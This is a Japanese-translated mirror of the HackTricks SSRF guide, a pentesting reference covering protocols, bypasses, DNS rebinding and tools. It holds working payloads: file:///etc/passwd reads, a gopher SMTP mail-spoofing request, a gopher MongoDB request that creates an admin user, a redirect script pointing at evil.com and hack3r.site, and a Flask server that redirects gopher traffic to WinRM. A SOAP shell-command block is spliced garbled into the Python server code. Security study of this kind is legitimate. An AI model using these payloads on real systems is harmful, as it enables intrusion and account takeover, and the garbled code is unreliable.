mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00

History

Translator 82449d141f Translated ['forensics/basic-forensic-methodology/partitions-file-system		2024-03-24 13:42:44 +00:00
..
cloud-ssrf.md	Translated ['forensics/basic-forensic-methodology/partitions-file-system	2024-03-24 13:42:44 +00:00
README.md	Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat	2024-03-17 16:50:32 +00:00
ssrf-vulnerable-platforms.md	Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R	2024-02-09 02:33:52 +00:00
url-format-bypass.md	Translated ['forensics/basic-forensic-methodology/partitions-file-system	2024-03-24 13:42:44 +00:00

README.md

SSRF（サーバーサイドリクエストフォージェリ）

Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

**htARTE（HackTricks AWS Red Team Expert）**で**ゼロからヒーローまでのAWSハッキング**を学びましょう！

HackTricksをサポートする他の方法：

HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください！

公式PEASS＆HackTricksスワッグを入手してください

The PEASS Familyを発見し、独占的なNFTsのコレクションを見つけてください

💬 Discordグループに参加するか、telegramグループに参加するか、Twitterで@carlospolopmをフォローしてください 🐦 @carlospolopm.

ハッキングトリックを共有するために、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。

基本情報

サーバーサイドリクエストフォージェリ（SSRF）脆弱性は、攻撃者がサーバーサイドアプリケーションを操作して、自分の選択したドメインにHTTPリクエストを行わせるときに発生します。この脆弱性により、攻撃者によって指示された任意の外部リクエストがサーバーに公開されます。

SSRFのキャプチャ

最初に行う必要があるのは、自分が生成したSSRFインタラクションをキャプチャすることです。HTTPまたはDNSインタラクションをキャプチャするには、次のようなツールを使用できます：

Burp Collaborator
pingb
canarytokens
interractsh
http://webhook.site
https://github.com/teknogeek/ssrf-sheriff
http://requestrepo.com/
https://github.com/stolenusername/cowitness
https://github.com/dwisiswant0/ngocok - ngrokを使用したBurp Collaborator

ホワイトリストされたドメインのバイパス

通常、SSRFが特定のホワイトリストされたドメインまたはURLでのみ機能していることがわかります。次のページでは、そのホワイトリストをバイパスするためのテクニックのコンパイルがあります：

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

オープンリダイレクトを介したバイパス

サーバーが適切に保護されている場合、Webページ内のオープンリダイレクトを悪用することで、すべての制限をバイパスできる可能性があります。Webページは同じドメインへのSSRFを許可し、おそらくリダイレクトをフォローするため、オープンリダイレクトを悪用してサーバーが内部の任意のリソースにアクセスすることができます。
詳細はこちら：https://portswigger.net/web-security/ssrf

プロトコル

file://
URLスキームfile://は、直接/etc/passwdを指すように参照されます：file:///etc/passwd
dict://
DICT URLスキームは、DICTプロトコルを介して定義や単語リストにアクセスするために使用されると説明されています。与えられた例では、特定の単語、データベース、エントリ番号を対象とする構築されたURLと、PHPスクリプトが攻撃者が提供した資格情報を使用してDICTサーバーに接続する可能性が示されています：dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
セキュアシェルを介したセキュアファイル転送のためのプロトコルとして識別され、PHPスクリプトが悪意のあるSFTPサーバーに接続する方法を示す例が提供されています：url=sftp://generic.com:11111/
TFTP://
UDP上で動作するTrivial File Transfer Protocolが、PHPスクリプトがTFTPサーバーにリクエストを送信するように設計された例とともに言及されています。TFTPリクエストは、ファイルTESTUDPPACKETを取得するために、ポート12346でgeneric.comに送信されます：ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
このセグメントでは、分散ディレクトリ情報サービスの管理およびアクセスに使用されるLightweight Directory Access Protocolが取り上げられ、IPネットワーク上でLDAPサーバーとやり取りする方法が強調されています。localhostのLDAPサーバーとやり取りする：'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
SSRF脆弱性を悪用して、localhostのSMTPサービスとやり取りする方法が説明されており、内部ドメイン名を明らかにする手順やその情報に基づいたさらなる調査アクションが含まれています。

From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect

Curl URL globbing - WAF bypass
もしSSRFがcurlによって実行される場合、curlにはWAFをバイパスするのに役立つ可能性があるURL globbingという機能があります。たとえば、このwriteupでは、fileプロトコルを介したパストラバーサルの例が示されています。

file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}

Gopher://
GopherプロトコルのIP、ポート、およびバイトを指定する能力について説明し、Gopherusやremote-method-guesserなどのツールを使用してペイロードを作成する方法が説明されています。2つの異なる用途が説明されています：

Gopher://

このプロトコルを使用すると、サーバーに送信してほしいIP、ポート、およびバイトを指定できます。その後、基本的にSSRFを悪用して任意のTCPサーバーと通信できます（ただし、最初にサービスとの通信方法を知っている必要があります）。
幸いにも、Gopherusを使用して、複数のサービス用のペイロードを作成できます。さらに、remote-method-guesserを使用して、_Java RMI_サービス向けの_gopher_ペイロードを作成できます。

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — 1337にバックコネクト

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

Gopher MongoDB -- ユーザーを作成します。ユーザー名はadmin、パスワードはadmin123、権限は管理者です。

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

Referrerヘッダーおよびその他を通じたSSRF

サーバー上のアナリティクスソフトウェアはしばしば、着信リンクを追跡するためにReferrerヘッダーをログに記録します。この実践は、アプリケーションをサーバーサイドリクエストフォージェリ（SSRF）の脆弱性にさらすことになります。これは、そのようなソフトウェアがReferrerヘッダーに記載された外部URLを訪れてリファラーサイトのコンテンツを分析する可能性があるためです。これらの脆弱性を明らかにするために、Burp Suiteプラグイン "Collaborator Everywhere" を活用することが推奨されており、アナリティクスツールがRefererヘッダーを処理する方法を利用して、潜在的なSSRF攻撃面を特定します。

証明書からのSNIデータを介したSSRF

任意のバックエンドへの接続を可能にする可能性のある誤った構成は、次のNginx構成の例で示されています：

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

以下の構成では、サーバー名指定（SNI）フィールドからの値がバックエンドのアドレスとして直接利用されます。この設定は、サーバーサイドリクエストフォージェリ（SSRF）への脆弱性を露出させるため、SNIフィールドに望ましいIPアドレスやドメイン名を指定するだけで悪用される可能性があります。opensslコマンドを使用して、internal.host.comなどの任意のバックエンドに接続を強制するための悪用例が以下に示されています：

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wgetファイルアップロード

コマンドインジェクション付きSSRF

次のようなペイロードを試してみる価

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
<details>
  <summary>Header</summary>
    <p:ExecuteShellCommand_INP0UT xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://www.w3.org/2011/06/soap-envelope" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:p="http://schemas.xmlsoap.org/ws/2004/08/policy" xmlns:w="http://schemas.xmlsoap.org/ws/2004/09/mex">
      <s:Header>
        <a:To>HTTP://192.168.1.1:5986/wsmansvc/</a:To>
        <w:ResourceURI s:mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd</w:ResourceURI>
        <a:ReplyTo>
          <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
        </a:ReplyTo>
        <a:Action>http://schemas.xmlsoap.org/ws/2004/09/transfer/ExecuteShellCommand</a:Action>
        <w:MaxEnvelopeSize s:mustUnderstand="false">10240</w:MaxEnvelopeSize>
        <w:OperationTimeout>PT1M30S</w:OperationTimeout>
        <w:Locale xml:lang="en-us" s:mustUnderstand="false" />
        <p:DataLocale xml:lang="en-us" s:mustUnderstand="false" />
        <w:OptionSet s:mustUnderstand="true" />
      </s:Header>
</details>

self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()

from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

DNS Rebidding CORS/SOP バイパス

CORS/SOPの制限により、ローカルIPからコンテンツを外部に送信するのに問題がある場合、DNS Rebiddingを使用してその制限をバイパスできます：

{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}

自動化された DNS Rebidding

Singularity of Originは、DNS rebinding攻撃を実行するためのツールです。攻撃サーバーのDNS名のIPアドレスをターゲットマシンのIPアドレスに再バインドし、ターゲットマシン上の脆弱なソフトウェアを悪用するための攻撃ペイロードを提供するために必要なコンポーネントが含まれています。

また、公開されているサーバーもチェックしてください：http://rebind.it/singularity.html

DNS Rebidding + TLS セッションID/セッションチケット

要件：

SSRF
アウトバウンドTLSセッション
ローカルポート上のデータ

攻撃：

ユーザー/ボットに攻撃者が制御するドメインにアクセスするように要求します
DNSのTTLは0秒です（したがって、被害者はまもなくドメインのIPを再度確認します）
被害者と攻撃者のドメイン間にTLS接続が作成されます。攻撃者はSession IDまたはSession Ticket内にペイロードを挿入します。
ドメインは自身に対して無限のリダイレクトループを開始します。これの目的は、ユーザー/ボットがドメインにアクセスし続けるようにし、再度ドメインのDNSリクエストを実行させることです。
DNSリクエストでプライベートIPアドレスが与えられます（例：127.0.0.1）
ユーザー/ボットはTLS接続を再確立しようとし、そのためにSession ID/Ticket IDを送信します（攻撃者のペイロードが含まれていた場所）。これにより、ユーザー/ボットが自身を攻撃するように要求できました。

この攻撃中、localhost:11211（memcache）を攻撃する場合、被害者に最初の接続をwww.attacker.com:11211で確立させる必要があります（ポートは常に同じである必要があります）。
この攻撃を実行するには、次のツールを使用できます：https://github.com/jmdx/TLS-poison/
この攻撃が説明されているトークを見るには、詳細情報はこちら：https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

盲目のSSRFと非盲目のSSRFの違いは、盲目の場合にSSRFリクエストの応答を見ることができないことです。そのため、既知の脆弱性のみを悪用できるため、悪用がより困難になります。

時間ベースのSSRF

サーバーからの応答の時間をチェックすることで、リソースが存在するかどうかを知ることができるかもしれません（存在するリソースにアクセスするのに時間がかかるかもしれません）。

Cloud SSRF Exploitation

クラウド環境内で実行されているマシンでSSRF脆弱性を見つけた場合、クラウド環境に関する興味深い情報や資格情報を入手できるかもしれません：

{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}

SSRF Vulnerable Platforms

いくつかの既知のプラットフォームには、SSRF脆弱性が含まれているか、または含まれていました。それらをチェックしてください：

{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}

Tools

SSRFMap

SSRF脆弱性を検出および悪用するためのツール

Gopherus

Gopherusに関するブログ記事

このツールは、以下のためのGopherペイロードを生成します：

MySQL
PostgreSQL
FastCGI
Redis
Zabbix
Memcache

remote-method-guesser

SSRFの使用に関するブログ記事

_remote-method-guesser_は、一般的な_Java RMI_脆弱性の攻撃操作をサポートする_Java RMI_脆弱性スキャナーです。ほとんどの利用可能な操作は、要求された操作のためにSSRFペイロードを生成するための--ssrfオプションをサポートしています。--gopherオプションと一緒に使用すると、直接使用できる_gopher_ペイロードが直接生成されます。

SSRF Proxy

SSRF Proxyは、Server-Side Request Forgery（SSRF）に脆弱なHTTPサーバーを介してクライアントHTTPトラフィックをトンネリングするために設計されたマルチスレッドのHTTPプロキシサーバーです。

練習する

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

参考文献

**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキングを学びましょう**！

HackTricksをサポートする他の方法：

HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください！
公式PEASS＆HackTricksのグッズを入手してください
独占的なNFTsコレクションであるThe PEASS Familyを発見
💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。
ハッキングトリックを共有するには、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

README.md Unescape Escape

SSRF（サーバーサイドリクエストフォージェリ）

基本情報

SSRFのキャプチャ

ホワイトリストされたドメインのバイパス

オープンリダイレクトを介したバイパス

プロトコル

Gopher://

Gopher MongoDB -- ユーザーを作成します。ユーザー名はadmin、パスワードはadmin123、権限は管理者です。

Referrerヘッダーおよびその他を通じたSSRF

証明書からのSNIデータを介したSSRF

Wgetファイルアップロード

コマンドインジェクション付きSSRF

DNS Rebidding CORS/SOP バイパス

自動化された DNS Rebidding

DNS Rebidding + TLS セッションID/セッションチケット

Blind SSRF

時間ベースのSSRF

Cloud SSRF Exploitation

SSRF Vulnerable Platforms

Tools

SSRFMap

Gopherus

remote-method-guesser

SSRF Proxy

練習する

参考文献

README.md